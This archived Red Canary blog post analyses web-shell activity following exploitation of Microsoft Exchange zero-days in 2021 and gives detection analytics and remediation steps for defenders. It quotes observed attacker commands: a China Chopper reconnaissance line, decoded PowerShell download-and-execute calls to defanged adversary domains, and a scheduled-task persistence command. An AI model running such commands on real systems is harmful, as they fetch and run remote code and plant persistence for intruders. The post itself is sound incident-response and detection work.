Microsoft Exchange attacks: how to detect, mitigate, and stay calm

By susannah.matt@redcanary.com

Archived: 2026-04-05 16:54:33 UTC

Microsoft Exchange server exploitation: how to detect, mitigate, and stay calm

Microsoft Exchange server exploitation: how to detect, mitigate, and stay calm

Red Canary Intel is tracking multiple activity clusters exploiting vulnerable Microsoft Exchange servers to drop web shells, including one we've dubbed "Sapphire Pigeon."

Originally published March 9, 2021. Last modified October 2, 2024.

News broke last week that suspected state-sponsored adversaries have developed exploits for multiple zero-day vulnerabilities in Microsoft Exchange server—and that they are leveraging those exploits to conduct targeted attacks against an unknown number of organizations around the world. While Microsoft initially attributed these attacks to a suspected Chinese state-sponsored group that it calls "HAFNIUM," over the last few days it's become clear that numerous activity clusters are exploiting these vulnerabilities.

On February 28, a few days before the release of Microsoft's security bulletin, we started to observe a noticeable increase in suspicious web shell activity emanating from Microsoft Exchange servers. In the week that's passed since, we've issued dozens of potentially related threat detections. We do not know for certain whether all of the malicious activity we're seeing is the result of adversaries targeting the vulnerabilities that Microsoft addressed in its security bulletin last week, but we assess that it's likely, based on the timing and victimology. The analytics that have helped us detect these intrusions—and, to some extent, the remediation process for cleaning up after a successful compromise—are relevant for detection and remediation of web shells and post-exploitation activity in general, regardless of whether it's related to the recently patched vulnerabilities or not.

There's been a deluge of reporting (some of which we link at the end of this post) on HAFNIUM and other adversaries exploiting four vulnerabilities affecting on-premises Exchange server systems (CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065). As is so often the case, these reports can be overwhelming in the aggregate. We're sharing our experience and guidance to help others make sense of how to cluster, detect, and remediate activity potentially related to the above vulnerabilities. We've broken things down into three sections, depending on what you're looking for:

- The different clusters of threat activity we're seeing
- The detection analytics we've used to detect them
- The simple remediation steps you can take to start to remove this activity from your environment if you find it, whether you're a single administrator or a mature security team.

Multiple activity clusters

As we've begun analyzing the flurry of web shells stemming from suspected Exchange exploitation, we've noticed a few clusters of activity based on different TTPs and web shell names. Because none of these clusters overlap significantly with what Microsoft reported on as HAFNIUM, we are tracking them separately. We don't know who is behind these clusters—we aren't sure if it's the same adversaries working together or different adversaries completely. We're focusing narrowly on what we observe on victim servers for our clustering.

Other organizations are tracking different clusters as well. FireEye shared information about three "UNC" (uncategorized) clusters, and Unit 42 shared analysis of different patterns they have observed in recent China Chopper web shells. Because each organization has different visibility and methodology, it makes sense for everyone to track their own clusters to meet their team's requirements.

The initial "random-eight-character" China Chopper cluster

From February 27 through at least March 3, we noticed a cluster of activity in which the China Chopper web shell was dropped onto Exchange servers in the directory `C:\inetpub\wwwroot\aspnet_client\system_web`. The web shell `.aspx` files would be named with eight random alphanumeric characters, for example:

```
 c:\inetpub\wwwroot\aspnet_client\system_web\zxvt0lpt.aspx
c:\inetpub\wwwroot\aspnet_client\system_web\r07azcq5.aspx
c:\inetpub\wwwroot\aspnet_client\system_web\dvgippna.aspx
C:\inetpub\wwwroot\aspnet_client\system_web\xpy07b5a.aspx
```

Following the web shell file being dropped, we then observed follow-on activity that occurred some time between a few hours and a few days later. Though the exact eight-character web shell filename differed, the following commands were consistent across multiple victims:

```
"cmd" /c cd /d "C:\\inetpub\\wwwroot\\aspnet_client\\system_web"&net group "Exchange Organization administrato
```

The string `&echo [S]&cd&echo [E]` appears to be unique to the China Chopper web shell, based on previous research from FireEye and others.

Sapphire Pigeon

On March 5, we noticed a unique cluster of activity across multiple environments that didn't match what we had we had previously seen—either in our own detections or in public reporting around these incidents. Since we use colors and birds for our activity clusters, we named this one "Sapphire Pigeon."

This Sapphire Pigeon cluster also started with likely China Chopper web shells, but the filenames were not eight random characters. Adding to the complexity, we observed adversaries dropping multiple web shells on some victims, including the following filenames (note that these are not unique to the Sapphire Pigeon cluster on their own):

```
 c:\program files\microsoft\exchange server\v15\frontend\httpproxy\owa\auth\redirsuiteserverproxy.aspx
c:\inetpub\wwwroot\aspnet_client\supp0rt.aspx
c:\inetpub\wwwroot\aspnet_client\shell.aspx
c:\inetpub\wwwroot\aspnet_client\load.aspx
C:\inetpub\wwwroot\aspnet_client\discover.aspx
```

Interestingly, these shells were dropped on victims at different times, some days before we observed any follow-on activity. We have seen these same web shell names show up on many other machines in the absence of other Sapphire Pigeon indicators, so we've determined that these filenames alone are not sufficient to distinguish distinct clusters.

However, we observed unique follow-on activity after the web shells were dropped that we decided were useful for clustering. Sapphire Pigeon exhibited the following unique patterns, which we tweeted about on afternoon of March 5:

- Use of encoded PowerShell to connect to a remote host. `powershell.exe` was a child of `cmd.exe`, which spawned from `w3wp.exe`. (Check out the detection opportunities section below!)

```
 Decoded command line:
IEX (New-Object
Net.WebClient).downloadstring('hxxp[:]//p.estonine[.]com/p?e')
```

- Creation of a scheduled task named `Winnet`:

```
 "C:\Windows\system32\schtasks.exe" /create /ru system /sc MINUTE /mo 45 /tn Winnet /tr "powershell -ep bypass -

Decoded base64 command line string:
IEX (New - Object Net.WebClient).downloadstring('hxxp[:]//cdn.chatcdn[.]net/p?hig210305')
```

Sapphire Pigeon activity overlaps significantly with activity reported by Carbon Black TAU in July 2019, including use of the domains p.estonine[.]com and cdn.chatcdn[.]net as well as the scheduled task name `Winnet`. However, unlike what Carbon Black previously observed, **we did not observe DLTMiner being dropped as a follow-on payload.** Huntress Labs also observed similar activity. In their analysis of follow-on payloads, they identified highly obfuscated PowerShell as well as Mimikatz, but there has been no indication of DLTMiner being delivered.

Other activity that didn't cluster

We've also seen other web shell activity that we haven't clearly been able to cluster. We want to have significant overlaps on multiple unique data points to cluster activity, and in some cases, we don't have that. We don't consider the following web shell filenames unique enough on their own to cluster with anything else right now, though we will likely identify new clusters over time. Here are a few of the many web shell names we've seen for reference (it appears the web shell names change frequently, so we don't recommend relying solely on these—more durable detection opportunities are below!):

```
 c:\program files\microsoft\exchange server\v15\frontend\httpproxy\owa\auth\outlooken.aspx
c:\program files\microsoft\exchange server\v15\frontend\httpproxy\owa\auth\outlookzh.aspx
c:\program files\microsoft\exchange server\v15\frontend\httpproxy\owa\auth\outlookus.aspx
c:\inetpub\wwwroot\aspnet_client\system_web\4_0_30319\err0r.aspx
c:\program files\microsoft\exchange server\v15\frontend\httpproxy\owa\auth\error.aspx
c:\program files\microsoft\exchange server\v15\frontend\httpproxy\owa\auth\front.aspx
```

Detection opportunities

Given our endpoint-centric visibility, it's difficult for us to determine without doubt the initial infection vector for all recent intrusions targeting Exchange servers. However, we've been able to consistently detect the abnormally high volumes of web shell activity over the last week or so with just a handful of detection analytics. The analytics are useful across the activity clusters described above, and we developed most of them prior to the start of this Exchange server exploitation activity, so these should be useful beyond just this activity.

IIS worker process spawning `cmd.exe` and `net.exe`

This first detection opportunity identifies instances of the Windows IIS worker process (`w3wp.exe`) spawning the Windows Command Processor (`cmd.exe`) and using net commands for initial reconnaissance purposes. You can detect this by looking for a process that appears to be `w3wp.exe` spawning a process that appears to be `cmd.exe`, which then spawns a process that appears to be `net.exe` . Looking for this process lineage is helpful because we have observed the specific net commands can differ from one victim to the next.

IIS worker process spawning `cmd.exe` with `echo`

A similar analytic that's been helpful in detecting web shells is one that identifies a chain of execution from a Windows IIS worker process (`w3wp.exe`) spawning the Command Processor (`cmd.exe`) and using the `echo` command to send data back to a web shell. You can alert on this activity by looking for a process that is `w3wp.exe` spawning `cmd.exe` in tandem with a command line that includes the term `echo` . As noted above, the string `&echo [S]&cd&echo [E]` appears to be unique to China Chopper.

IIS worker process writing `.asp` and `.aspx` files

Another solid behavioral analytic looks for instances of the Windows IIS worker process (`w3wp.exe`) writing files that are typically associated with executable web server code to disk. Of all the detection ideas here, this one might be the most likely to generate false positives, so be prepared to tune this as needed. Narrowing down file paths where these files are written is a useful way to help refine this analytic. You can detect these behaviors by

looking for the execution of a process that appears to be `w3wp.exe` along with the creation of files with webfile extensions like `.asp` and `.aspx` in any of the following file paths:

- `inetpub\wwwroot\aspnet_client`
- `FrontEnd\HttpProxy\owa\auth`

We recommend this approach to look for web shell files because we've observed that so many different web shell file names have been used. These two file paths are the most common ones we have observed, so we want to focus on those for simplicity's sake, though other file paths are used as well. Check out the resources linked at the end of this for additional file paths other teams have observed.

IIS worker process spawning `cmd.exe` and `powershell.exe`

We now move on to detection opportunities for post-exploitation behavior we've observed after the initial web shells being dropped. In our Sapphire Pigeon cluster, we observed the adversary leveraging the IIS Worker process (`w3wp.exe`) to spawn the Command Processor in a manner that's consistent with web shell activity. You can detect this activity by monitoring for a chain of process executions from a Windows IIS worker process (`w3wp.exe`) that spawns a process that appears to be the command processor (`cmd.exe`), which, in turn, launches PowerShell (`powershell.exe` or `pwsh.exe`). The following image shows activity we've observed with the cluster we call Sapphire Pigeon, but this analytic could help detect other malicious behavior as well:

Scheduled task execution with `create` and `powershell`

One detection opportunity is to alert on a process that appears to be `schtask.exe` executing with a corresponding command line that includes `create` and `powershell` . The following image shows Sapphire Pigeon activity, but this analytic is useful beyond detecting just that cluster:

Additional post-exploitation detection opportunities

While we wanted to focus detection opportunities on what we have observed recently, there are a wealth of other opportunities to detect any follow-on post-exploitation activity that might occur after these web shells are dropped. For more opportunities, check out the 2020 Threat Detection Report, this blog post, or the many excellent resources from other teams at the end of this post.

Remediation advice

Once you're able to hunt for or otherwise detect web shell activity, you have to be able to then remediate it.

The first and most important remediation step that anyone can take is to patch their vulnerable Exchange servers immediately. You can do so by applying the March 2021 Exchange Server Security Updates issued by Microsoft for Exchange 2013, 2016, and 2019. Even if you are on an older Cumulative Update, Microsoft released security updates to protect against these specific vulnerabilities only. We also recommend using the Microsoft Support Emergency Response Tool (MSERT) to scan the Exchange server per guidance.

If you cannot patch your Exchange system, Microsoft also published recommendations to create IIS rewrite rules, disable Unified Messaging services, and disable multiple IIS application pools. These stopgap measures will likely affect the availability of your Exchange services internally and externally, depending on what features your organization uses. Administrators should not implement these as permanent mitigations.

However, **patching alone is not enough to handle this**! You also need to look for any signs of compromise on your server.

Looking for signs of compromise

If your Exchange server was unpatched and exposed to the internet, you should assume compromise. We advise taking these systems offline briefly to perform an investigation. In every incident we've seen so far there have been web shells dropped into the filesystem, and in some incidents, we've observed adversaries using scheduled tasks for persistence as well as other follow-on activity. Even if you don't have a large security team, you can

perform these steps to start remediation. While we don't expect any of these actions to cause harm to a server, before deleting any artifacts from a server, we recommend ensuring they are not critical for your server to operate.

During the downtime you should evaluate possible persistence mechanisms using Sysinternals Autoruns if you do not have any other security tools to do so. Disable or remove any scheduled tasks or autorun Windows Registry Keys that are seemingly suspicious or malicious for your environment. The persistence mechanisms will likely execute PowerShell code or an executable binary uploaded by the adversary.

In addition, evaluate the ASP/ASPX files under `c:\Inetpub\wwwroot\aspnet_client` and `<Exchange Installation>\FrontEnd\HttpProxy` folders and subfolders. To evaluate whether the content you find there might be malicious, compare it to these baselines created by the Microsoft Exchange team. Anything that is not in that baseline should be considered suspicious and should be removed if your organization cannot determine a legitimate need for it.

If you find suspicious ASP/ASPX files under the above folders, remove them from the disk. Some adversaries have also dropped executable (.exe) files within the folders. Examine any such EXEs with caution and remove any EXE files that are not part of the baseline from disk if your organization cannot determine a legitimate need for them.

An additional step to take would be to examine processes currently executing using Sysinternals Process Explorer. While there are many public resources on identifying malicious processes with Process Explorer, based on what we've seen in these incidents, we recommend focusing specifically on recently spawned PowerShell processes that have encoded command lines or URLs inside the command lines. An excellent example of Process Explorer for this use was covered in this blog post, and image from which we show below.

Finally, before making the server accessible to the internet again, apply the relevant patches to prevent further exploitation.

These are simple steps that we hope anyone can take on servers they suspect are vulnerable or compromised. If you identify suspicious files, there is a possibility additional post-exploitation activity could have occurred. A full response would involve following recommendations such as those provided by CISA. However, we realize not all organizations have the expertise or resources to do this, so the above steps are a starting point for remediation if you cannot perform further investigation and response.

Other resources

Many other teams are putting out great research on this, so we wanted to highlight some of that here if you're looking for more info:

Microsoft

HAFNIUM targeting Exchange Servers with 0-day exploits

Multiple Security Updates Released for Exchange Server

Microsoft Exchange Server Vulnerabilities Mitigations

March 2021 Exchange Server Security Updates for older Cumulative Updates of Exchange Server

FireEye

Detection and Response to Exploitation of Microsoft Exchange Zero-Day Vulnerabilities

Volexity

Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities

CrowdStrike

How Falcon Complete Stops Microsoft Exchange Server Exploits

Huntress Labs

Twitter thread by Kyle Hanslovan

Microsoft Exchange Incident “China Chopper” ASPX Webshell filenames

Analysis – Post-Exploitation from Microsoft Exchange HAFNIUM

CISA

Mitigate Microsoft Exchange Server Vulnerabilities | CISA

Unit 42

Analyzing Attacks Against Microsoft Exchange Server With China Chopper Webshells

Disclaimer: The information in the Red Canary Blog is made available for educational purposes only. This blog and the content contained within it should not be used as a substitute for competent professional advice from a security professional familiar with your environment.

Related Articles
